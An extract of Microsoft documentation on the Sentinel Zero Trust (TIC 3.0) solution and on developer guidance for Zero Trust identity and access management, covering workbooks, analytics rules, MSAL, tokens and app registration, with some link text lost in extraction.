For more information, see Deploy out-of-the-box content and solutions.
Sample usage scenario

The following sections show how a security operations analyst could use the resources
deployed with the Zero Trust (TIC 3.0) solution to review requirements, explore queries,
configure alerts, and implement automation.
After installing the Zero Trust (TIC 3.0) solution, use the workbook, analytics rules, and
playbook deployed to your Microsoft Sentinel workspace to manage Zero Trust in your
network.
Visualize Zero Trust data

1. Navigate to the Microsoft Sentinel Workbooks > Zero Trust (TIC 3.0) workbook,
and select View saved workbook.
In the Zero Trust (TIC 3.0) workbook page, select the TIC 3.0 capabilities you want
to view. For this procedure, select Intrusion Detection.
 Tip
Use the Guide toggle at the top of the page to display or hide
recommendations and guide panes. Make sure that the correct details are
selected in the Subscription, Workspace, and TimeRange options so that you
can view the specific data you want to find.
2. Review the control cards displayed. For example, scroll down to view the Adaptive
Access Control card:
 Tip
Use the Guides toggle at the top left to view or hide recommendations and
guide panes. For example, these may be helpful when you first access the
workbook, but unnecessary once you've understood the relevant concepts.
3. Explore queries. For example, at the top right of the Adaptive Access Control card,
select the : More button, and then select the Open the last run query in the
Logs view. option.
The query is opened in the Microsoft Sentinel Logs page:

Configure Zero Trust-related alerts
In Microsoft Sentinel, navigate to the Analytics area. View out-of-the-box analytics rules
deployed with the Zero Trust (TIC 3.0) solution by searching for TIC3.0.
By default, the Zero Trust (TIC 3.0) solution installs a set of analytics rules that are
configured to monitor Zero Trust (TIC3.0) posture by control family, and you can
customize thresholds for alerting compliance teams to changes in posture.
For example, if your workload's resiliency posture falls below a specified percentage in a
week, Microsoft Sentinel will generate an alert to detail the respective policy status
(pass/fail), the assets identified, the last assessment time, and provide deep links to
Microsoft Defender for Cloud for remediation actions.
Update the rules as needed or configure a new one:

For more information, see Create custom analytics rules to detect threats.
Respond with SOAR

In Microsoft Sentinel, navigate to the Automation > Active playbooks tab, and locate
the Notify-GovernanceComplianceTeam playbook.
Use this playbook to automatically monitor CMMC alerts, and notify the governance
compliance team with relevant details via both email and Microsoft Teams messages.
Modify the playbook as needed:
For more information, see Use triggers and actions in Microsoft Sentinel playbooks.
Frequently asked questions
Are custom views and reports supported?

Yes. You can customize your Zero Trust (TIC 3.0) workbook to view data by subscription,
workspace, time, control family, or maturity level parameters, and you can export and
print your workbook.
For more information, see Use Azure Monitor workbooks to visualize and monitor your
data.
Are additional products required?

Both Microsoft Sentinel and Microsoft Defender for Cloud are required.
Aside from these services, each control card is based on data from multiple services,
depending on the types of data and visualizations being shown in the card. Over 25
Microsoft services provide enrichment for the Zero Trust (TIC 3.0) solution.
What should I do with panels with no data?

Panels with no data provide a starting point for addressing Zero Trust and TIC 3.0
control requirements, including recommendations for addressing respective controls.
Are multiple subscriptions, clouds, and tenants

supported?
Yes. You can use workbook parameters, Azure Lighthouse, and Azure Arc to leverage the
Zero Trust (TIC 3.0) solution across all of your subscriptions, clouds, and tenants.
data and Manage multiple tenants in Microsoft Sentinel as an MSSP.
Is partner integration supported?

Yes. Both workbooks and analytics rules are customizable for integrations with partner
services.
data and Surface custom event details in alerts.
Is this available in government regions?

Yes. The Zero Trust (TIC 3.0) solution is in Public Preview and deployable to
Commercial/Government regions. For more information, see Cloud feature availability
for commercial and US Government customers.
Which permissions are required to use this content?

Microsoft Sentinel Contributor users can create and edit workbooks, analytics rules,
and other Microsoft Sentinel resources.
Microsoft Sentinel Reader users can view data, incidents, workbooks, and other
Microsoft Sentinel resources.
For more information, see Permissions in Microsoft Sentinel.

Next steps
Get Started with Microsoft Sentinel

Visualize and monitor your data with workbooks
Microsoft Zero Trust Model
Zero Trust Deployment Center
Watch our videos:
Demo: Microsoft Sentinel Zero Trust (TIC 3.0) Solution

Microsoft Sentinel: Zero Trust (TIC 3.0) Workbook Demo
Read our blogs!
Announcing the Microsoft Sentinel: Zero Trust (TIC3.0) Solution

Building and monitoring Zero Trust (TIC 3.0) workloads for federal information
systems with Microsoft Sentinel
Zero Trust: 7 adoption strategies from security leaders
Implementing Zero Trust with Microsoft Azure: Identity and Access Management (6
Part Series)
Develop using Zero Trust principles
Article • 04/17/2024
This article helps you, as a developer, to understand the guiding principles of Zero Trust
so that you can improve your application security. You play a key role in organizational
security; applications and their developers can no longer assume that the network
perimeter is secure. Compromised applications can affect the entire organization.
Organizations are deploying new security models that adapt to complex modern
environments and embrace the mobile workforce. New models are designed protect
people, devices, applications, and data wherever they're located. Organizations are
striving to achieve Zero Trust, a security strategy and approach for designing and
implementing applications that follow these guiding principles:
Verify explicitly
Use least privilege access
Assume breach
Instead of believing everything behind the corporate firewall is safe, the Zero Trust
model assumes breach and verifies each request as though it originated from an
uncontrolled network. Regardless of where the request originates or what resource it
accesses, the Zero Trust model requires us to "never trust, always verify."
Understand that Zero Trust isn't a replacement for security fundamentals. With work
originating from anywhere on any device, design your applications to incorporate Zero
Trust principles throughout your development cycle.
Why develop with a Zero Trust perspective?

We've seen a rise in the level of sophistication of cybersecurity attacks.
The "work from anywhere" workforce has redefined the security perimeter. Data is
being accessed outside the corporate network and shared with external
collaborators such as partners and vendors.
Corporate applications and data are moving from on-premises to hybrid and cloud
environments. Traditional network controls can no longer be relied on for security.
Controls need to move to where the data is: on devices and inside apps.
The development guidance in this section helps you to increase security, reduce the
blast radius of a security incident, and swiftly recover by using Microsoft technology.
Next steps
Subscribe to our Develop using Zero Trust principles RSS feed for notification of new
articles.
Developer guidance overview

What do we mean by Zero Trust compliance? provides an overview of application
security from a developer's perspective to address the guiding principles of Zero
Trust.
Use Zero Trust identity and access management development best practices in
your application development lifecycle to create secure applications.
Using standards-based development methodologies provides an overview of
supported standards (OAuth 2.0, OpenID Connect, SAML, WS-Federation, and
SCIM) and the benefits of using them with MSAL and the Microsoft identity
platform.
Developer and administrator responsibilities for application registration,
authorization, and access helps you to better collaborate with your IT Pros.
Permissions and access

Building apps that secure identity through permissions and consent provides an
overview of permissions and access best practices.
Integrating applications with Microsoft Entra ID and the Microsoft identity platform
helps developers to build and integrate apps that IT pros can secure in the
enterprise by securely integrate apps with Microsoft Entra ID and the Microsoft
identity platform.
Registering applications introduces developers to the application registration
process and its requirements. It helps them to ensure that apps satisfy Zero Trust
principles of use least privileged access and assume breach.
Supported identity and account types for single- and multi-tenant apps explains
how you can choose if your app allows only users from your Microsoft Entra
tenant, any Microsoft Entra tenant, or users with personal Microsoft accounts.
Authenticating users for Zero Trust helps developers to learn best practices for
authenticating application users in Zero Trust application development. It describes
how to enhance application security with the Zero Trust principles of least privilege
and verify explicitly.
Acquiring authorization to access resources helps you to understand how to best
ensure Zero Trust when acquiring resource access permissions for your application.
Developing delegated permissions strategy helps you to implement the best
approach for managing permissions in your application and develop using Zero
Trust principles.
Developing application permissions strategy helps you to decide upon your
application permissions approach to credential management.
Requesting permissions that require administrative consent describes the
permission and consent experience when application permissions require
administrative consent.
Reducing overprivileged permissions and apps helps you to understand why
applications shouldn't request more permissions than they need (overprivileged)
and how to limit privilege to manage access and improve security.
Providing application identity credentials when there's no user explains why the
best Zero Trust client credentials practice for services (non-user applications) on
Azure is Managed Identities for Azure resources.
Managing tokens for Zero Trust helps developers to build security into applications
with ID tokens, access tokens, and security tokens that your they can receive from
the Microsoft identity platform.
Customizing tokens describes the information that you can receive in Microsoft
Entra tokens and how you can customize tokens.
Securing applications with Continuous Access Evaluation helps developers to
improve application security with Continuous Access Evaluation. Learn how to
ensure Zero Trust support in your apps that receive authorization to access
resources when they acquire access tokens from Microsoft Entra ID.
Configuring group claims and app roles in tokens shows you how to configure
your apps with app role definitions and assign security groups.
API Protection describes best practices for protecting your API through
registration, defining permissions and consent, and enforcing access to achieve
your Zero Trust goals.
Example of API protected by Microsoft identity consent framework helps you to
design least privilege application permissions strategies for the best user
experience.
Calling an API from another API helps you to ensure Zero Trust when you have one
API that needs to call another API. You'll learn how to securely develop your
application when it's working on behalf of a user.
Authorization best practices helps you to implement the best authorization,
permission, and consent models for your applications.
Zero Trust DevSecOps

Securing DevOps environments for Zero Trust describes best practices for securing
your DevOps environments with a Zero Trust approach to prevent hackers from
compromising developer boxes, infecting release pipelines with malicious scripts,
and gaining access to production data via test environments.
Securing the DevOps platform environment helps you to implement Zero Trust
principles in your DevOps platform environment and highlights best practices for
secret and certificate management.
Securing the developer environment helps you to implement Zero Trust principles
in your development environments with best practices for least privilege, branch
security, and trusting tools, extensions, and integrations.
Embedding Zero Trust security into your developer workflow helps you to innovate
quickly and securely.

organization.
Documentation set
ﾉ Expand table
365 for business

guidance
deployment guidance
Your role
ﾉ Expand table
IT implementer
business
Microsoft 365
Feedback
What do we mean by Zero Trust
compliance?
Article • 04/17/2024
This article provides overview of application security from a developer's perspective to

address the guiding principles of Zero Trust. In the past, code security was all about your
own app: if you got it wrong, your own app was at risk. Today, cybersecurity is a high
priority for customers and governments worldwide.
Compliance with cybersecurity requirements is a prerequisite for many customers and

governments to purchase applications. For example, see U.S. Executive Order 14028:
Improving the Nation's Cybersecurity and U.S. General Services Administration
requirements summary . Your application needs to meet customer requirements.
Cloud security is a consideration of organization infrastructure that is only as secure as

the weakest link. When a single app is the weakest link, malicious actors can gain access
to business-critical data and operations.
Application security from a developer perspective includes a Zero Trust approach:

applications address the guiding principles of Zero Trust. As a developer, you
continuously update your application as the threat landscape and security guidance
changes.
Supporting Zero Trust principles in your code

Two keys to compliance with Zero Trust principles are the ability of your application to
verify explicitly and to support least privilege access. Your application should delegate
identity and access management to Microsoft Entra ID so that it can use Microsoft Entra
tokens. Delegating identity and access management enables your application to support
customer technologies such as multi-factor authentication, passwordless authentication,
and conditional access policies.
With the Microsoft identity platform and Zero Trust enabling technologies (as shown in
the following diagram), using Microsoft Entra tokens helps your application to integrate
with Microsoft's entire suite of security technologies.

If your application requires passwords, you may be exposing your customers to

avoidable risk. Bad actors view the shift to working from any location with any device as
an opportunity to access corporate data by perpetrating activities such as password
spray attacks. In a password spray attack, bad actors try a promising password across a
set of user accounts. For example, they might try GoSeaHawks2022! against user
accounts in the Seattle area. This successful attack type is one justification for
passwordless authentication.
Acquiring access tokens from Microsoft Entra

ID
At a minimum, your application needs to acquire access tokens from Microsoft Entra ID
that issues OAuth 2.0 access tokens. Your client application can use these tokens to
obtain limited access to user resources via API calls on the user's behalf. You use an
access token to call each API.
When a delegated identity provider verifies identity, your customer's IT department can
enforce least privilege access with Microsoft Entra permission and consent. Microsoft
Entra ID determines when it issues tokens to applications.
When your customers understand which corporate resources your application needs to
access, they can correctly grant or deny access requests. For example, if your application
needs to access Microsoft SharePoint, document this requirement so that you can help
customers grant the correct permissions.
Next steps
platform.
Building apps with a Zero Trust approach to identity provides an overview of
permissions and access best practices.
Entra tokens. Learn how to customize tokens and improve flexibility and control
while increasing application Zero Trust security with least privilege.
Feedback
Zero Trust identity and access
management development best
practices
Article • 04/17/2024
This article helps you, as a developer, to understand identity and access management
best practices for your application development lifecycle. You start developing secure,
Zero Trust compliant applications with identity and access management (IAM).
The Zero Trust security framework uses the principles of explicit verification, least
privileged access, and assuming breach. Secure users and data while allowing for
common scenarios like access to applications from outside the network perimeter.
Reduce reliance upon implicit trust to interactions behind a secure network perimeter
that can become vulnerable to security attacks.
Industry security trends affect application

requirements
While Zero Trust implementation continues to evolve, each organization's journey is
unique, and often begins with user and application identity. Here are policies and
controls that many organizations prioritize as they roll out Zero Trust:
1. Implement credential hygiene and rotation policies for apps and services.
WWhen attackers compromise secrets such as certificates or passwords, they can
achieve a depth of system access to acquire tokens under the guise of an app's
identity. They then access sensitive data, move laterally, and establish persistence.
2. Roll out strong authentication. IT administrators are configuring policies that
require multi-factor authentication and passwordless FIDO2 devices.
3. Restrict user consent to apps with low-risk permissions to verified publisher
apps. Access to data in APIs like Microsoft Graph allow you to build rich
applications. Organizations and customers evaluate your app's permission requests
and trustworthiness before granting consent. IT admins are embracing the
principle of verify explicitly by requiring publisher verification. They apply the
principle of least privilege by only allowing user consent for low-risk permissions.
4. Blocking legacy protocols and APIs. IT admins are blocking older authentication
protocols such as "Basic authentication" and requiring modern protocols like
OpenID Connect and OAuth2.
Use trusted, standards-based authentication
libraries
Develop your application with known and accepted standards and libraries to increase
application portability and security. Trusted, standards-based authentication libraries
stay up-to-date so that your apps are responsive to the latest technologies and threats.
Using standards-based development methodologies provides an overview of supported
standards (OAuth 2.0, OpenID Connect, SAML, WS-Federation, and SCIM) and the
benefits of using them with MSAL and the Microsoft identity platform.
Rather than using protocols that can have known vulnerabilities and extensive
documentation, develop your application with libraries such as Microsoft Authentication
Library (MSAL), Microsoft Identity Web authentication library, and Azure SDKs for
managed identities. MSAL and SDKs allow you to use these features without needing to
write extra code:
Conditional access
Device registration and management
Passwordless and FIDO2 authentication
MSAL and Microsoft Graph are your best choices for developing Microsoft Entra
applications. MSAL developers have done the work for you to ensure compliance with
protocols. Microsoft optimizes MSAL for efficiency when working directly with Microsoft
Entra ID.
Register your apps in Microsoft Entra ID

Follow the Security best practices for application properties in Microsoft Entra ID.
Application registration in Microsoft Entra ID is critical because misconfiguration or
lapse in your application's hygiene can result in downtime or compromise.
Application properties that improve security include redirect URI, access tokens (never
use with implicit flows), certificates and secrets, application ID URI, and application
ownership. Conduct periodical security and health assessments similar to Security Threat
Model assessments for code.
Delegate identity and access management

Develop your application to use tokens for explicit identity verification and access
control that your customers define and manage. Microsoft advises against developing
your own username and password management systems.
Keep credentials out of your code so that IT admins can rotate credentials without
bringing down or redeploying your app. Use a service such as Azure Key Vault or Azure
Managed Identities to delegate IAM.
Plan and design for least privilege access

A key principle of Zero Trust is least privilege access. Sufficiently develop and document
your application so your customers can successfully configure least privilege policies.
When supporting tokens and APIs, provide your customers with good documentation of
resources that your application calls.
Always provide the least privilege required for your user to perform specific tasks. For
example, use incremental consent to only request permissions when they're necessary
and use granular scopes in Microsoft Graph.
Explore scopes in Graph Explorer to call an API and examine required permissions.
They're displayed in order from lowest to highest privilege. Picking the lowest possible
privilege ensures that your application is less vulnerable to attacks.
Follow the guidance in Enhance security with the principle of least privilege to reduce
your applications' attack surfaces and security breach blast radius should compromise
occur.
Securely manage tokens

When your application requests tokens from Microsoft Entra ID, securely manage them:
Validate that they're properly scoped to your application.

Appropriately cache them.
Use them as intended.
Handle token issues by checking for error classes and coding appropriate
responses.
Instead of directly reading access tokens, view their scopes and details in token
responses.
Support Continuous Access Evaluation (CAE)

CAE allows Microsoft Graph to quickly deny access in response to security events.
Examples include these tenant administrator activities:
Deleting or disabling a user account.

Enabling Multi-Factor Authentication (MFA) for a user.
Explicitly revoking a user's issued tokens.
Detecting a user moving to high-risk status.
When you support CAE, tokens that Microsoft Entra ID issues to call Microsoft Graph are
valid for 24 hours instead of the standard 60 to 90 minutes. CAE adds resiliency to your
app by requiring hourly token refresh and enabling MSAL to proactively refresh the
token well before the token expires.
Define app roles for IT to assign to users and

groups
App roles help you to implement role-based access control in your applications.
Common examples of app roles include Administrator, Reader, and Contributor. Role-
based access control allows your application to restrict sensitive actions to users or
groups based on their defined roles.
Become a verified publisher

As a verified publisher, you've verified your identity with your Microsoft Partner Network
account and completed the established verification process. For developers of multi-
tenant apps, being a verified publisher helps build trust with IT administrators in
customer tenants.
Next steps
Entra tokens. Learn how to customize tokens to improve flexibility and control
Configuring group claims and app roles in tokens describes how to configure your
apps with app role definitions and assign security groups to app roles. This
approach improves flexibility and control while increasing application Zero Trust
security with least privilege.
The Identity integrations guide explains how to integrate security solutions with
Microsoft products to create Zero Trust solutions.
how you can choose if your app allows only users from your Microsoft Entra ID)
Feedback
Using standards-based development
methodologies
Article • 04/17/2024
As a developer, you can make good use of industry standards for software development
augmented by the Microsoft Authentication Library (MSAL). In this article, we provide an
overview of supported standards (OAuth 2.0, OpenID Connect, SAML, WS-Federation,
and SCIM) and the benefits of using them with MSAL and the Microsoft identity
platform. Ensure that your cloud applications meet Zero Trust requirements for optimal
security.
What about protocols?

When implementing protocols, consider costs that include time to write code that is
fully up to date with all best practices and follows OAuth 2.0 best practices for secure
implementation. Instead, we recommend that you use a well-maintained library (with a
preference for MSAL) when you build directly to Microsoft Entra ID or Microsoft Identity.
We optimize MSALs to build and work with Microsoft Entra ID. If your environment
hasn't implemented MSAL or has unlocked capabilities in its own library, develop your
application with the Microsoft identity platform. Build on OAuth 2.0 capabilities and
OpenID Connect. Consider costs of correctly falling back to a protocol.
How the Microsoft identity platform supports

standards
To achieve Zero Trust most efficiently and effectively, develop applications with industry
standards that the Microsoft identity platform supports:
OAuth 2.0 and OpenID Connect

SAML
OAuth 2.0 and OpenID Connect

As the industry protocol for authorization, OAuth 2.0 allows users to grant limited access
to protected resources. OAuth 2.0 works with Hypertext Transfer Protocol (HTTP) to
separate the client role from the resource owner. Clients use tokens to access protected
resources on a resource server.
OpenID Connect constructs allow Microsoft Entra extensions to enhance security. These
Microsoft Entra extensions are the most common:
Conditional Access authentication context allows apps to apply granular policies to

protect sensitive data and actions instead of only at the app level.
Continuous Access Evaluation (CAE) enables Microsoft Entra applications to
subscribe to critical events for evaluation and enforcement. CAE includes risky
event evaluation such as disabled or deleted user accounts, password changes,
token revocations, and detected users.
When your applications use enhanced security features like CAE and Conditional Access
authentication context, they must include code to manage claims challenges. With open
protocols, you use claims challenges and claims requests to invoke other client
capabilities. For example, indicating to apps that they need to repeat interaction with
Microsoft Entra ID due to an anomaly. Another scenario is when the user no longer
satisfies conditions under which they had earlier authenticated. You can code for these
extensions without disturbing primary authentication code flows.
Security Assertions Markup Language (SAML)

The Microsoft identity platform uses SAML 2.0 to enable your Zero Trust applications to
provide a single sign-on (SSO) user experience. SSO and Single Sign-Out SAML profiles
in Microsoft Entra ID explain how the identity provider service uses SAML assertions,
protocols, and bindings. The SAML protocol requires the identity provider (Microsoft
identity platform) and the service provider (your application) to exchange information
about themselves. When you register your Zero Trust application with Microsoft Entra
ID, you register federation-related information that includes the Redirect URI and
Metadata URI of the application with Microsoft Entra ID.
Benefits of MSAL over protocols

Microsoft optimizes MSALs for the Microsoft identity platform and provides the best
experience for SSO, token caching, and outage resilience. As MSALs are generally
available, we continue to expand coverage of languages and frameworks.
Using MSAL, you acquire tokens for application types that include web applications, web
APIs, single page apps, mobile and native applications, daemons, and server-side
applications. MSAL enables fast and simple integration with secure access to users and
data via Microsoft Graph and APIs. With best-in-class auth libs, you can reach any
audience and follow the Microsoft Security Development Lifecycle.
Next steps
Microsoft identity platform authentication libraries describes application type
support.
Develop using Zero Trust principles helps you to understand the guiding principles
of Zero Trust so that you can improve your application security.
Zero Trust goals.
Entra tokens. It explains how token customization improves flexibility and control
Configuring group claims and app roles in tokens describes how to configure apps
with app role definitions and assign security groups to app roles. This approach
improves flexibility and control while increasing application Zero Trust security with
least privilege.
Feedback
Developer and administrator
responsibilities for application
registration, authorization, and access
Article • 04/17/2024
As a developer creating applications in the Microsoft identity platform, you work with IT
Professionals who have administrator privileges in Microsoft Entra ID to enable your
applications to take full advantage of the Microsoft identity platform. Knowing what
your IT Pros need from you and what you need from them helps you to streamline your
zero trust development workflow.
Developers and IT Pros must work together

IT organizations are increasingly blocking apps with vulnerabilities. As IT departments
embrace a Zero Trust approach, developers who don't provide applications that follow
Zero Trust principles risk not having their apps adopted. Following Zero Trust principles
can help ensure that your application is eligible for adoption in a Zero Trust
environment.
App developers usually implement, evaluate, and validate aspects of Zero Trust before
working with an organization's IT Pros to achieve full compliance and adherence.
Developers are responsible for building and integrating apps so that IT Pros can use
their tools to further secure the applications. Partnering with IT Pros can help you to:
Minimize the probability of or prevent security compromise.

Quickly respond to compromise and reduce damage.
The following table summarizes the decisions and tasks required for developer and IT
Pro roles to build and deploy secure applications in the Microsoft identity platform.
Read on for key details and links to articles to help you plan your secure application
development.
Developer
Register app in Microsoft identity platform
Define supported account types
Determine if app works on behalf of itself or user
Define resources required and how/when to request permission
IT Pro Administrator
Configure who can register apps in tenant
Assign application users, groups, and roles
Grant permissions to applications
Define policies (including conditional access policy)
Zero Trust considerations

When entities (individuals, applications, devices) need to access resources in your
application, you work with IT Pros and consider Zero Trust and security policy
enforcement options. Together, you decide which access policies to implement and
enforce. Microsoft's policy enforcement engine needs to be in touch with threat
intelligence, signal processing, and existing policies. Every time an entity needs to access
a resource, it goes through the policy enforcement engine.
IT Pros can apply conditional access policies to Security Assertions Markup Language
(SAML) apps at authentication. For OAuth 2.0 applications, they can apply policies when
an application attempts to access a resource. IT Pros determine which conditional access
policies apply to your application (SAML) or the resources that your application accesses
(OAuth 2.0).
Next steps
Entra tokens and how to customize tokens to improve flexibility and control while
increasing application Zero Trust security with least privilege.
your apps with app role definitions and assign security groups to app roles to
improve flexibility and control while increasing application Zero Trust security with
least privilege.
Trust.
platform.
Feedback
Building apps that secure identity
through permissions and consent
Article • 04/17/2024
This article continues from the Zero Trust identity and access management development
best practices article to help you use a Zero Trust approach to identity in your software
development lifecycle (SDLC).
Here's an overview of the Permissions and access articles in this Developer Guide so
that you can dive into identity components that include authentication, authorization,
and identity management.
identity platform.
Registering applications introduces developers to the application registration
process and its requirements. It helps them to ensure that apps satisfy Zero Trust
principles of use least privileged access and assume breach.
Trust principles.
permission and consent experience when application permissions require
Reducing overprivileged permissions and apps helps you to understand why
applications shouldn't request more permissions than they need (overprivileged).
Learn how to limit privilege to manage access and improve security.
Managing tokens for Zero Trust helps developers to build security into applications
with ID tokens, access tokens, and security tokens that your they can receive from
the Microsoft identity platform.
Securing applications with Continuous Access Evaluation helps developers to
improve application security with Continuous Access Evaluation. Learn how to
ensure Zero Trust support in your apps that receive authorization to access
resources when they acquire access tokens from Microsoft Entra ID.
your apps with app role definitions and assign security groups.
experience.
API that needs to call another API. Learn how to securely develop your application
when it's working on behalf of a user.
Next steps
Subscribe to our Develop using Zero Trust principles RSS feed for notification of
new articles.
Develop using Zero Trust principles helps you to understand the guiding principles
of Zero Trust so that you can improve your application security.
Trust.
platform.
Build Zero Trust-ready apps using Microsoft identity platform features and tools
maps features of the Microsoft identity platform to the principles of Zero Trust.
The Identity integrations guide explains how to integrate security solutions with
Microsoft products to create Zero Trust solutions.
Feedback
Integrating applications with Microsoft
Entra ID and the Microsoft identity
platform
Article • 04/17/2024
As a developer, you can build and integrate apps that IT pros can secure in the
enterprise. This article will help you to understand how to use Zero Trust principles to
securely integrate your app with Microsoft Entra ID and the Microsoft identity platform.
The Microsoft cloud-based identity and access management service, Microsoft Entra ID,
provides developers with these application integration benefits:
Application authentication and authorization

User authentication and authorization
Single sign-on (SSO) using federation or password
User provisioning and synchronization
Role-based access control
OAuth authorization services
Application publishing and proxy
Directory schema extension attributes
The above diagram illustrates the unified toolkit of the Microsoft identity platform for
developers that supports several identities and industry standards. You can build
applications and integrate identity with endpoints, libraries, web APIs, publisher
verification, user provisioning, and auth brokers.
Get started with app integration

The Microsoft identity platform documentation site is the best starting point for you to
learn how to integrate your applications with the Microsoft identity platform. You can
find developer workshops, workshop materials, links to workshop recordings, and
information about upcoming live events at https://aka.ms/UpcomingIDLOBDev .
While designing your app, you'll need to:
Identify resources that your app needs to access.

Consider whether your app will have interactive users and workload components.
Access resources that Microsoft Entra ID secures by building apps that secure
identity through permissions and access.
App types that you can integrate

The Microsoft identity platform performs identity and access management (IAM) only
for registered and supported applications. To integrate with the Microsoft identity
platform, your app must be able to provide a web browser-based component that can
connect to the Microsoft identity platform's authorization endpoints under the
https://login.microsoftonline.com address. Your app will call the token endpoint under
the same address.
An integrated app can run from any location, including these examples:
Microsoft Azure
Other cloud providers
Your own data centers and servers
Desktop computers
Mobile devices
Internet of Things devices.
The app or device, such as a web browser app accessing the authorization endpoint, can
natively provide requirements. Cooperation between a disconnected browser and the
application will satisfy the requirements. For example, apps running on televisions may
have the user perform the initial authentication with a browser on a desktop or mobile
device.
You'll register your client application (web or native app) or web API to establish a trust
relationship between your application and the Microsoft identity platform. Microsoft
Entra application registration is critical because misconfiguration or lapse in hygiene of
your application can result in downtime or compromise. Follow the Security best
practices for application properties in Microsoft Entra ID.
Publish to Microsoft Entra application gallery
The Microsoft Entra application gallery is a collection of software as a service
(SaaS) application and service principal objects in Microsoft Entra ID that developers
have pre-integrated with Microsoft Entra ID. It contains thousands of applications that
make it easy to deploy and configure SSO and automatic user provisioning.
Automatic user provisioning refers to creating user identities and roles in cloud
applications that users need to access. Automatic provisioning includes maintaining and
removing user identities as status or roles change. To provision users to SaaS apps and
other systems, the Microsoft Entra provisioning service connects to a System for Cross-
domain Identity Management (SCIM) 2.0 user management API endpoint that the
application vendor provides. This SCIM endpoint allows Microsoft Entra ID to
programmatically create, update, and remove users.
When you develop apps for Microsoft Entra ID, you can use the SCIM 2.0 user
management API to build a SCIM endpoint that integrates Microsoft Entra ID for
provisioning. For details, reference the Develop and plan provisioning for a SCIM
endpoint in Microsoft Entra ID tutorial.
Publish your application to the Microsoft Entra application gallery and make them
publicly available for users to add to their tenants by completing these tasks:
Complete the prerequisites.

Create and publish documentation.
Submit your application.
Join the Microsoft partner network.
Become a verified publisher

Publisher verification provides information to app users and organization admins about
authenticity of developers who publish apps that integrate with the Microsoft identity
platform. When you're a verified publisher, users can more easily decide if they want to
allow your application to sign them in and access their profile information. They can
base their decision on the information and access that your app requests in tokens.
App publishers verify their identity with Microsoft by associating their app registration
with their verified Microsoft Partner Network (MPN) account. During verification,
Microsoft requests verification documentation. After you become a verified publisher, a
blue verified badge displays in your app's Microsoft Entra consent prompts and web
pages.
Next steps
Configure an app's publisher domain helps you to understand multitenant apps
and default publisher domain values.
SaaS App Integration Tutorials for use with Microsoft Entra ID helps you to
integrate your cloud-enabled SaaS applications with Microsoft Entra ID.
Reference tips to troubleshoot publisher verification if you're receiving errors or
seeing unexpected behavior during publication.
Feedback
Registering applications
Article • 04/17/2024
The Microsoft identity platform app registration portal is the primary entry point for
applications that use the platform for authentication and associated needs. As a
developer, when registering and configuring your apps, the choices you make drive and
affect how well your application satisfies Zero Trust principles. Effective app registration
especially considers the principles of use least privileged access and assume breach. This
article helps you to learn about the application registration process and its requirements
to ensure that your apps follow a Zero Trust approach to security.
Application management in Microsoft Entra ID (Microsoft Entra ID) is the process of

securely creating, configuring, managing, and monitoring applications in the cloud.
When you register your application in a Microsoft Entra tenant, you configure secure
user access.
Microsoft Entra ID represents applications by application objects and service principals.

With some exceptions, applications are application objects. Think of a service principal
as an instance of an application that references an application object. Multiple service
principals across directories can reference a single application object.
You can configure your application to use Microsoft Entra ID through three methods: in
Visual Studio, by using the Microsoft Graph API, or by using PowerShell. There are
developer experiences in Azure and in API Explorer across developer centers. Reference
the required decisions and tasks for the developer and IT Pro roles to build and deploy
secure applications in the Microsoft identity platform.
Who can add and register applications

Admins and, if permitted by the tenant, users and developers may create application
objects by registering applications in the Azure portal. By default, all users in a directory
can register application objects that they develop. Application object developers decide
which applications share and give access to organizational data through consent.
When the first user in a directory signs in to an application and grants consent, the
system creates a service principal in the tenant that stores all user consent information.
Microsoft Entra ID automatically creates a service principal for a newly registered app in
the tenant before a user authenticates.
Only Microsoft Entra global administrators can perform specific application tasks (such
as adding applications from the app gallery and configuring applications to use
application proxy).
Registering application objects

As a developer, you register your apps that use the Microsoft identity platform. Register
your apps in the Azure portal or by calling Microsoft Graph application APIs. After you
register your app, it communicates with the Microsoft identity platform by sending
requests to the endpoint.
You might not have permission to create or modify an application registration. When
administrators don't give you permissions to register your applications, ask them how
you can convey necessary app registration information to them.
Application registration properties may include the following components.
Name, logo, and publisher

Redirect URIs
Secrets (symmetric and/or asymmetric keys used to authenticate the application)
API dependencies (OAuth)
Published APIs/resources/scopes (OAuth)
App roles for role-based access control
Metadata and configuration for single sign-on (SSO), user provisioning, and proxy
A required part of app registration is your selection of supported account types to

define who can use your app based on the user's account type. Microsoft Entra
administrators follow the application model to manage application objects in the Azure
portal through the App registrations experience and define application settings that
tell the service how to issue tokens to the application.
During registration, you receive the identity of your application: the application (client)
ID. Your app uses its client ID every time it performs a transaction through the Microsoft
identity platform.
App registration best practices

Follow security best practices for application properties when registering your
application in Microsoft Entra ID as a critical part of its business use. Aim to prevent
downtime or compromise that may affect the entire organization. The following
recommendations help you to develop your secure application around Zero Trust
principles.
Use the Microsoft identity platform integration checklist to ensure high quality
and secure integration. Maintain the quality and security of your app.
Properly define your redirect URLs. Reference the Redirect URI (reply URL)
restrictions and limitations to avoid compatibility and security issues.
Check redirect URIs in your app registration for ownership to avoid domain
takeovers. Redirect URLs should be on domains that you know and own. Regularly
review and remove unnecessary and unused URIs. Don't use non-https URIs in
production apps.
Always define and maintain app and service principal owners for your registered
apps in your tenant. Avoid orphaned apps (apps and service principals that have
no assigned owners). Ensure that IT admins can easily and quickly identify app
owners during an emergency. Keep the number of app owners small. Make it
difficult for a compromised user account to affect multiple applications.
Avoid using the same app registration for multiple apps. Separating app
registrations helps you to enable least privileged access and reduce impact during
a breach.
Use separate app registrations for apps that sign in users and apps that expose
data and operations via API (unless tightly coupled). This approach allows
permissions for a higher privileged API, such as Microsoft Graph and credentials
(like secrets and certificates), at a distance from apps that sign in and interact
with users.
Use separate app registrations for web apps and APIs. This approach helps
ensure that, if the web API has a higher set of permissions, then the client app
doesn't inherit them.
Define your application as a multi-tenant app only when necessary. Multi-tenant
apps allow for provisioning in tenants other than yours. They require more
management overhead to filter unwanted access. Unless you intend to develop
your app as a multi-tenant app, start with a SignInAudience value of
AzureADMyOrg.
Next steps
Reference the Microsoft identity platform documentation to learn how to register
application types. Example app types include single-page apps (SPA), web apps,
web APIs, desktop apps, mobile apps, and background services, daemons, and
scripts.
The New App registrations experience for Azure AD B2C article helps you become
familiar the new experience that replaces the legacy experience.
identity platform.
Feedback
Identity and account types for single-
and multi-tenant apps
Article • 04/17/2024
This article will explain how you, as a developer, can choose if your app allows only users
from your Microsoft Entra tenant, any Microsoft Entra tenant, or users with personal
Microsoft accounts. You can configure your app to be either single tenant or multitenant
during app registration in Azure. Ensure the Zero Trust principle of least privilege access
